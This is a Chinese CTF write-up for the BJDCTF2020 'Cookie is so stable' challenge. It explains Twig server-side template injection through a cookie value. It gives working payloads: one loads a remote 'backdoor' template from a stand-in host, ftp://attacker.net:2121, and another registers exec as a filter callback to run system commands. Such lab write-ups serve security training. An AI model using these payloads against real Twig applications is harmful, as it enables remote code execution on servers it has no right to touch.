[BJDCTF2020]Cookie is so stable
[BJDCTF2020]Cookie is so stable
考点
Twig模板注入
wp
访问flag.php,它Cookie中的user处存在SSTI

通过如下方式判断出SSTI类型为Twig

Twig 提供了一个_self
,它有一个env
属性,是Twig_Environment对象。Twig_Environment
对象有一个setCache
方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置。因此可以通过将缓存位置设置为远程服务器来引入远程文件包含漏洞,前提是开启了allow_url_include。
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}
另外,Twig_Environment
对象还有个调用过滤器的函数 getFilter()它调用了call_user_function 方法
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
} php
只要把exec作为回调函数即可
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
小结
最后更新于